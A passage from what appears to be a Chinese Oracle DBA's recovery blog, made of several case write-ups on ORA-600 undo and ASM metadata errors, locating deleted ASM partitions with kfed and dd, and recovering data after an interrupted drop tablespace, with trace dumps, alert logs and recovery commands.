7C824826             CALLreg  00000000             
 
--------------------- Binary Stack Dump ---------------------

比较明显时候由于在更新undo$的时候需要找前镜像信息

Block image after block recovery:
buffer tsn: 0 rdba: 0x0040018b (1/395)
scn: 0x0000.07d52871 seq: 0x01 flg: 0x04 tail: 0x28710201
frmt: 0x02 chkval: 0xc85e type: 0x02=KTU UNDO BLOCK
 
********************************************************************************
UNDO BLK:  
xid: 0x0000.05a.0000002d  seq: 0x33  cnt: 0x22  irb: 0x22  icl: 0x0   flg: 0x0000
 
 Rec Offset      Rec Offset      Rec Offset      Rec Offset      Rec Offset
---------------------------------------------------------------------------
0x01 0x1f04     0x02 0x1e20     0x03 0x1d3c     0x04 0x1c58     0x05 0x1b74     
0x06 0x1a90     0x07 0x19ac     0x08 0x18c8     0x09 0x17e4     0x0a 0x1700     
0x0b 0x161c     0x0c 0x1538     0x0d 0x1454     0x0e 0x1370     0x0f 0x128c     
0x10 0x11a8     0x11 0x10c4     0x12 0x0fe0     0x13 0x0efc     0x14 0x0e18     
0x15 0x0d34     0x16 0x0c50     0x17 0x0b6c     0x18 0x0a88     0x19 0x09a4     
0x1a 0x08c0     0x1b 0x07dc     0x1c 0x06f8     0x1d 0x0614     0x1e 0x0530     
0x1f 0x044c     0x20 0x0368     0x21 0x0284     0x22 0x01a0     
 
*-----------------------------
* Rec #0x1  slt: 0x0b  objn: 15(0x0000000f)  objd: 15  tblspc: 0(0x00000000)
*       Layer:  11 (Row)   opc: 1   rci 0x00   
Undo type:  Regular undo    Begin trans    Last buffer split:  No 
Temp Object:  No 
Tablespace Undo:  No 
rdba: 0x00000000
*-----------------------------
uba: 0x0040018a.0033.22 ctl max scn: 0x0000.07853941 prv tx scn: 0x0000.07853943
KDO undo record:
KTB Redo 
op: 0x04  ver: 0x01  
op: L  itl: xid:  0x0000.042.0000002d uba: 0x0040018a.0033.22
                      flg: C---    lkc:  0     scn: 0x0000.07d23460
KDO Op code: URP row dependencies Disabled
  xtype: XA  bdba: 0x0040006a  hdba: 0x00400069
itli: 1  ispac: 0  maxfr: 4863
tabn: 0 slot: 7(0x7) flag: 0x2c lock: 0 ckix: 0
ncol: 17 nnew: 12 size: 0
col  1: [ 9]  5f 53 59 53 53 4d 55 37 24
col  2: [ 2]  c1 02
col  3: [ 2]  c1 03
col  4: [ 3]  c2 02 06
col  5: [ 6]  c5 02 20 14 40 24
col  6: [ 1]  80
col  7: [ 4]  c3 0e 21 2d
col  8: [ 3]  c2 1b 34
col  9: [ 1]  80
col 10: [ 2]  c1 03
col 11: [ 2]  c1 02
col 16: [ 2]  c1 02

这部分信息异常,导致数据库update undo$的时候报ORA-00600: ?????????: [4194], [34], [8], [], [], [], [], []错误,通过修改对应的block信息,数据库正常open成功

SQL> alter database open;

数据库已更改。

但是关闭数据库又报ORA-600 4194错误

SQL> shutdown immediate;
ORA-00607: 当更改数据块时出现内部错误
ORA-00600: 内部错误代码,参数: [4194], [94], [61], [], [], [], [], []

alert日志信息

Wed Jul 21 12:58:42 2021
Shutting down instance: further logons disabled
Shutting down instance (immediate)
License high water mark = 3
Waiting for dispatcher 'D000' to shutdown
All dispatchers and shared servers shutdown
Wed Jul 21 12:58:45 2021
ALTER DATABASE CLOSE NORMAL
Wed Jul 21 12:58:45 2021
Errors in file c:\oracle\admin\dcpdm\udump\dcpdm_ora_13628.trc:
ORA-00600: 内部错误代码,参数: [4194], [94], [61], [], [], [], [], []

Recovery of Online Redo Log: Thread 1 Group 3 Seq 496 Reading mem 0
  Mem# 0 errs 0: C:\ORACLE\ORADATA\DCPDM\REDO03.LOG
Recovery of Online Redo Log: Thread 1 Group 3 Seq 496 Reading mem 0
  Mem# 0 errs 0: C:\ORACLE\ORADATA\DCPDM\REDO03.LOG
ORA-607 signalled during: ALTER DATABASE CLOSE NORMAL...

通过重建undo,数据库启动关闭正常,也没有再报其他错误,建议逻辑方式重建库
参考以前的类似文章:
数据库报ORA-00607/ORA-00600[4194]错误
使用bbed解决ORA-00607/ORA-00600[4194]故障
使用bbed解决ORA-00607/ORA-00600[4194]故障

ora-600 kfdpMetaBlk_pickle 故障处理

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:ora-600 kfdpMetaBlk_pickle 故障处理

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

客户反馈集群的crs无法正常启动观察发现是由于gmon进程crash asm实例导致,经过测试确认是在mount data磁盘组的时候会触发给问题

SQL> alter diskgroup data mount;
alter diskgroup data mount
*
ERROR at line 1:
ORA-03113: end-of-file on communication channel
Process ID: 7517
Session ID: 918 Serial number: 5

对应的alert日志报ORA-600 [kfdpMetaBlk_pickle:01], [4294967295]错误

SQL> alter diskgroup data mount
NOTE: cache registered group DATA number=2 incarn=0x3078f05f
NOTE: cache began mount (first) of group DATA number=2 incarn=0x3078f05f
NOTE: Assigning number (2,1) to disk (/dev/rdisk/disk93)
NOTE: Assigning number (2,3) to disk (/dev/rdisk/disk96)
NOTE: Assigning number (2,2) to disk (/dev/rdisk/disk94)
NOTE: Assigning number (2,0) to disk (/dev/rdisk/disk92)
Sat Jul 17 05:21:01 2021
Errors in file /u01/app/crs_base/diag/asm/+asm/+ASM2/trace/+ASM2_gmon_7457.trc  (incident=255833):
ORA-00600: internal error code, arguments: [kfdpMetaBlk_pickle:01], [4294967295], [0], [], [], [], [], [], [], [], [], []
Incident details in: /u01/app/crs_base/diag/asm/+asm/+ASM2/incident/incdir_255833/+ASM2_gmon_7457_i255833.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Errors in file /u01/app/crs_base/diag/asm/+asm/+ASM2/trace/+ASM2_gmon_7457.trc:
ORA-00600: internal error code, arguments: [kfdpMetaBlk_pickle:01], [4294967295], [0], [], [], [], [], [], [], [], [], []
GMON (ospid: 7457): terminating the instance due to error 493
Sat Jul 17 05:21:03 2021
System state dump requested by (instance=2, osid=7457 (GMON)), summary=[abnormal instance termination].
System State dumped to trace file /u01/app/crs_base/diag/asm/+asm/+ASM2/trace/+ASM2_diag_7429.trc
Instance terminated by GMON, pid = 7457

对于ORA-600 [kfdpMetaBlk_pickle:01], [4294967295]错误,查询了mos没有任何有效信息
kfdpMetaBlk_pickle


对应的trace文件发现如下信息

2021-07-17 03:51:16.277603*:800002A2:KGF:kgfdputl.c@1411:kgfdpMetaSet_getMaxClique():   inc=2 ver=4294967295
2021-07-17 03:51:16.277619 :800002A3:KFDP:kfdp.c@9314:kfdpMetaSet_filterOld(): filtered old meta on disk 2
2021-07-17 03:51:16.277620 :800002A4:KFDP:kfdp.c@9314:kfdpMetaSet_filterOld(): filtered old meta on disk 2
2021-07-17 03:51:16.277992 :800002A5:KFDP:kfdp.c@9417:kfdpMetaSet_readDta():kfdpMetaSet_readDta unpickle upto 6 metablks
2021-07-17 03:51:16.277993 :800002A6:KFDP:kfdp.c@9425:kfdpMetaSet_readDta():kfdpMetaSet_readDta unpickle metablk for disk 3
2021-07-17 03:51:16.278154 :800002A7:KFDP:kfdp.c@9425:kfdpMetaSet_readDta():kfdpMetaSet_readDta unpickle metablk for disk 1
2021-07-17 03:51:16.278268 :800002A8:KFDP:kfdp.c@5851:kfdp_read(): kfdp_read end ok=1
2021-07-17 03:51:16.278277 :800002A9:KFDP:kfdp.c@7073:kfdp_doQuery(): kfdp_doQuery   rewrite_kfdp=1
2021-07-17 03:51:16.278282 :800002AA:KFDP:kfdp.c@12511:kfdpLckValue_pickle(): kfdpLckValue_pickle size=0 
                            endian=0xff ndisks=0 lckvalid=0
2021-07-17 03:51:16.278293 :800002AB:db_trace:kfdp.c@12803:kfdpLck_convPriv(): [10499:19:396] 
                            kfdpLck_conv: grp=1, type=0, mode=5, line=7155
2021-07-17 03:51:16.278294 :800002AC:KFDP:kfdp.c@12663:kfdpLckValue_unpickle(): kfdpLckValue_unpickle
                            size=28 res=0 ok=0 ver=-1 dcnt=0 lckvalid=0 flags=0x2 inst=0 (I am 2) version=0
2021-07-17 03:51:16.278499*:800002AD:KGF:kgfdputl.c@485:kgfdpDta_getAllDsks(): kgfdpDta_getAllDsks using 
                            saved iterator 0x9ffffffffd571220 with 4 disks
2021-07-17 03:51:16.278688 :800002AE:KFDP:kfdp.c@5566:kfdp_write(): kfdp_write: pstDskCnt=3 grow=0 degenerate=0
2021-07-17 03:51:16.278688*:800002AF:KGF:kgfdputl.c@2619:kgfdpTraceSet(): writing pst to disks (n=3): 0 1 3

通过删除信息,基本上可以确认由于pst信息异常(pst中记录的只有0 1 3三个磁盘,认为2是老磁盘),但是实际磁盘为4个,导致gmon进程异常.通过底层解决该问题,数据库恢复成功

SQL> recover database using backup controlfile;
ORA-00279: change 30075814973 generated at 07/17/2021 01:12:08 needed for
thread 2
ORA-00289: suggestion : +FRA
ORA-00280: change 30075814973 for thread 2 is in sequence #120561


Specify log: {<RET>=suggested | filename | AUTO | CANCEL}
/tmp/asm/group_16
ORA-00279: change 30075814973 generated at 07/17/2021 01:11:54 needed for
thread 1
ORA-00289: suggestion :
+FRA/xff/archivelog/2021_07_17/thread_1_seq_79949.1543.1078103529
ORA-00280: change 30075814973 for thread 1 is in sequence #79949


Specify log: {<RET>=suggested | filename | AUTO | CANCEL}
/tmp/asm/group_13
ORA-00279: change 30075815013 generated at 07/17/2021 01:12:09 needed for
thread 1
ORA-00289: suggestion : +FRA
ORA-00280: change 30075815013 for thread 1 is in sequence #79950
ORA-00278: log file '/tmp/asm/group_13' no longer needed for this recovery


Specify log: {<RET>=suggested | filename | AUTO | CANCEL}
/tmp/asm/group_11
Log applied.
Media recovery complete.

SQL> alter database open resetlogs;

Database altered.

运气不错,对于该故障的恢复,实现数据0丢失.

删除分区 oracle asm disk 恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:删除分区 oracle asm disk 恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

接到一个朋友数据库故障请求case.大概操作是这样的:有一个39T的lun,通过parted分了15个分区,给oracle asm使用创建磁盘组data4,然后分了4个分区做成data5(由于ausize写错误了),删除掉磁盘组和这四个分区.然后重新分配了6个分区,并且使用最后5个分区创建了data5磁盘组.使用了一段时间之后,由于oracle空间不足,检查的时候误以为这个lun就前面15个分区使用,人工把后面的6个分区给删除了,并且创建了4个新分区,然后发现数据库crash了,发现误删除了在使用的分区.然后又把新创建的4个分区给删除了.接手该故障的时候,这个39T lun的分区信息如下

[root@node1 linux64]# parted /dev/mapper/36000d31003d39e000000000000000004
GNU Parted 2.1
Using /dev/mapper/36000d31003d39e000000000000000004
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) print                                                            
Model: Linux device-mapper (multipath) (dm)
Disk /dev/mapper/36000d31003d39e000000000000000004: 39.6TB
Sector size (logical/physical): 512B/4096B
Partition Table: gpt

Number  Start   End     Size    File system  Name         Flags
 1      2097kB  2000GB  2000GB               asmdata4-1
 2      2000GB  4000GB  2000GB               asmdata4-2
 3      4000GB  6000GB  2000GB               asmdata4-3
 4      6000GB  8000GB  2000GB               asmdata4-4
 5      8000GB  10.0TB  2000GB               asmdata4-5
 6      10.0TB  12.0TB  2000GB               asmdata4-6
 7      12.0TB  14.0TB  2000GB               asmdata4-7
 8      14.0TB  16.0TB  2000GB               asmdata4-8
 9      16.0TB  18.0TB  2000GB               asmdata4-9
10      18.0TB  20.0TB  2000GB               asmdata4-10
11      20.0TB  22.0TB  2000GB               asmdata4-11
12      22.0TB  24.0TB  2000GB               asmdata4-12
13      24.0TB  26.0TB  2000GB               asmdata4-13
14      26.0TB  28.0TB  2000GB               asmdata4-14
15      28.0TB  30.0TB  2000GB               asmdata4-15

客户正常使用情况下,这个lun上面相关分区的asm disk信息

 SQL> CREATE DISKGROUP DATA4 EXTERNAL REDUNDANCY  DISK 
'/dev/mapper/36000d31003d39e000000000000000004p1' SIZE 1907346M ,
 '/dev/mapper/36000d31003d39e000000000000000004p2' SIZE 1907350M ,
 '/dev/mapper/36000d31003d39e000000000000000004p3' SIZE 1907348M ,
 '/dev/mapper/36000d31003d39e000000000000000004p4' SIZE 1907348M ,
 '/dev/mapper/36000d31003d39e000000000000000004p5' SIZE 1907350M  
ATTRIBUTE 'compatible.asm'='11.2.0.0.0','au_size'='8M' /* ASMCA */ 

SQL> ALTER DISKGROUP DATA4 ADD  DISK 
'/dev/mapper/36000d31003d39e000000000000000004p10' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p6' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p7' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p8' SIZE 1907350M ,
'/dev/mapper/36000d31003d39e000000000000000004p9' SIZE 1907348M /* ASMCA */ 

SQL> ALTER DISKGROUP DATA4 ADD  DISK 
'/dev/mapper/36000d31003d39e000000000000000004p11' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p12' SIZE 1907350M ,
'/dev/mapper/36000d31003d39e000000000000000004p13' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p14' SIZE 1907348M ,
'/dev/mapper/36000d31003d39e000000000000000004p15' SIZE 1907350M /* ASMCA */ 

SQL> CREATE DISKGROUP DATA5 EXTERNAL REDUNDANCY  DISK 
'/dev/mapper/36000d31003d39e000000000000000004p17' SIZE 1716614M ,
'/dev/mapper/36000d31003d39e000000000000000004p18' SIZE 1716614M ,
'/dev/mapper/36000d31003d39e000000000000000004p19' SIZE 1716614M ,
'/dev/mapper/36000d31003d39e000000000000000004p20' SIZE 1716614M ,
'/dev/mapper/36000d31003d39e000000000000000004p21' SIZE 1621246M  
ATTRIBUTE 'compatible.asm'='11.2.0.0.0','au_size'='4M' /* ASMCA */ 

基于客户现在的情况,data4中的所有分区都正常,主要是要找出来data5中的5个分区的数据.因为客户不确定p16分区大小,导致后续的5个分区起始位置不好定位.从而使得恢复无法进行.通过shell脚本结合kfed尝试定位asm disk header信息

#!/bin/bash
j=xxxxxxxxxxx
for ((i=xxxxxx; i<=j; i++))
do
 echo "-----$i--------" >> /home/get_au1.txt
 kfed read /dev/mapper/36000d31003d39e000000000000000004 aun=$i |
 > grep  "kfdhdb.dskname:              DATA" >> /home/get_au.txt
done

结果发现无法获取到结果,通过分析发现这里由于lun过大,导致aun值过大,从而使得kfed溢出无法读取到正常值.根据parted的特性,人工dd部分block进行分析

[root@node1 bak]# kfed read xifenfei.dd aun=134|more
kfbh.endian:                          1 ; 0x000: 0x01
kfbh.hard:                          130 ; 0x001: 0x82
kfbh.type:                            1 ; 0x002: KFBTYP_DISKHEAD
kfbh.datfmt:                          1 ; 0x003: 0x01
kfbh.block.blk:                       0 ; 0x004: blk=0
kfbh.block.obj:              2147483648 ; 0x008: disk=0
kfbh.check:                  3357988283 ; 0x00c: 0xc826d5bb
kfbh.fcn.base:                        0 ; 0x010: 0x00000000
kfbh.fcn.wrap:                        0 ; 0x014: 0x00000000
kfbh.spare1:                          0 ; 0x018: 0x00000000
kfbh.spare2:                          0 ; 0x01c: 0x00000000
kfdhdb.driver.provstr:         ORCLDISK ; 0x000: length=8
kfdhdb.driver.reserved[0]:            0 ; 0x008: 0x00000000
kfdhdb.driver.reserved[1]:            0 ; 0x00c: 0x00000000
kfdhdb.driver.reserved[2]:            0 ; 0x010: 0x00000000
kfdhdb.driver.reserved[3]:            0 ; 0x014: 0x00000000
kfdhdb.driver.reserved[4]:            0 ; 0x018: 0x00000000
kfdhdb.driver.reserved[5]:            0 ; 0x01c: 0x00000000
kfdhdb.compat:                186646528 ; 0x020: 0x0b200000
kfdhdb.dsknum:                        0 ; 0x024: 0x0000
kfdhdb.grptyp:                        1 ; 0x026: KFDGTP_EXTERNAL
kfdhdb.hdrsts:                        3 ; 0x027: KFDHDR_MEMBER
kfdhdb.dskname:              DATA5_0000 ; 0x028: length=10
kfdhdb.grpname:                   DATA5 ; 0x048: length=5
kfdhdb.fgname:               DATA5_0000 ; 0x068: length=10
kfdhdb.capname:                         ; 0x088: length=0
kfdhdb.crestmp.hi:             33116450 ; 0x0a8: HOUR=0x2 DAYS=0x9 MNTH=0x4 YEAR=0x7e5
kfdhdb.crestmp.lo:            477378560 ; 0x0ac: USEC=0x0 MSEC=0x10e SECS=0x7 MINS=0x7
kfdhdb.mntstmp.hi:             33116450 ; 0x0b0: HOUR=0x2 DAYS=0x9 MNTH=0x4 YEAR=0x7e5
kfdhdb.mntstmp.lo:            486256640 ; 0x0b4: USEC=0x0 MSEC=0x2ec SECS=0xf MINS=0x7
kfdhdb.secsize:                     512 ; 0x0b8: 0x0200
kfdhdb.blksize:                    4096 ; 0x0ba: 0x1000
kfdhdb.ausize:                  4194304 ; 0x0bc: 0x00400000
kfdhdb.mfact:                    454272 ; 0x0c0: 0x0006ee80
kfdhdb.dsksize:                  429153 ; 0x0c4: 0x00068c61
kfdhdb.pmcnt:                         2 ; 0x0c8: 0x00000002

顺利找到了data5中的第一块磁盘,而且确定了起始位置,然后构造相关的dd语句把分区的数据dd到一个新磁盘中

dd if=/dev/mapper/36000d31003d39e000000000000000004 bs=4M skip=xxxxx count=429153 of=/dev/sdu

然后通过kfed查看数据
20210704160347


通过类似方法依次处理,最终把5块asm disk全部找到,并且顺利dd到新的磁盘中.尝试启动crs,并mount data5
20210704153634

20210704153548

data5 磁盘组mount成功之后,数据库顺利启动,实现lun中删除分区之后,asm磁盘组数据完美恢复
20210704153728

这次运气还不错,仅仅是对lun的分区使用了parted进行了删除和创建等操作,没有格式化文件系统和做成新的asm disk,不然数据会有一部分丢失.对于有部分破坏的分区,需要通过底层碎片的方法进行最大限度抢救数据.参考类似文档:
asm disk被加入vg恢复
又一例asm格式化文件系统恢复
文件系统损坏导致数据文件异常恢复
一次完美的asm disk被格式化ntfs恢复
Oracle 数据文件大小为0kb或者文件丢失恢复
再一起asm disk被格式化成ext3文件系统故障恢复
oracle asm disk格式化恢复—格式化为ext4文件系统
oracle asm disk格式化恢复—格式化为ntfs文件系统
分享oracleasm createdisk重新创建asm disk后数据0丢失恢复案例

drop tablesapce 数据恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:drop tablesapce 数据恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

有客户执行了drop tablespace xxx including contents and datafiles,虽然删除命令返回错误,但是该表空间中大量对象被删除,文件没有被从系统层面删除

Tue Jun 29 14:38:26 2021
DROP TABLESPACE "XFF" INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS
Tue Jun 29 14:38:32 2021
Thread 1 advanced to log sequence 975 (LGWR switch)
  Current log# 3 seq# 975 mem# 0: D:\APP\ADMINISTRATOR\ORADATA\XFF\REDO03.LOG
ORA-604 signalled during: DROP TABLESPACE "XFF" INCLUDING CONTENTS AND DATAFILES CASCADE CONSTRAINTS...
Tue Jun 29 14:40:44 2021
ALTER DATABASE DATAFILE 'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF'  AUTOEXTEND ON NEXT 50M
Completed: ALTER DATABASE DATAFILE 'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF'  AUTOEXTEND ON NEXT 50M
ALTER TABLESPACE "XFF" DROP DATAFILE  'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF02.DBF'
WARNING: Cannot delete file D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF02.DBF
Errors in file d:\app\administrator\diag\rdbms\XFF\XFF\trace\XFF_ora_2528.trc:
ORA-01265: 无法删除 DATA D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF02.DBF
ORA-27056: 无法删除文件
OSD-04024: 无法删除文件。
O/S-Error: (OS 32) 另一个程序正在使用此文件,进程无法访问。
Completed: ALTER TABLESPACE "XFF" DROP DATAFILE  'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF02.DBF'
Tue Jun 29 14:58:51 2021
ALTER DATABASE DATAFILE 'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF'  AUTOEXTEND ON NEXT 50M MAXSIZE UNLIMITED
Completed: ALTER DATABASE DATAFILE 'D:\APP\ADMINISTRATOR\ORADATA\XFF\XFF'  AUTOEXTEND ON NEXT 50M MAXSIZE UNLIMITED

通过工具获取obj$字典信息,结合user$,判断业务用户表数据基本上全部删除
20210701193502


对于这类情况,常规方法无法恢复,只能按照表被drop的思路进行恢复.参考文章:dul恢复drop表测试,通过结合客户提供的表结构和一些特殊方法恢复出来所有对象的obj#,dataobj#信息,快速的恢复了客户数据,得到客户认可
20210701194153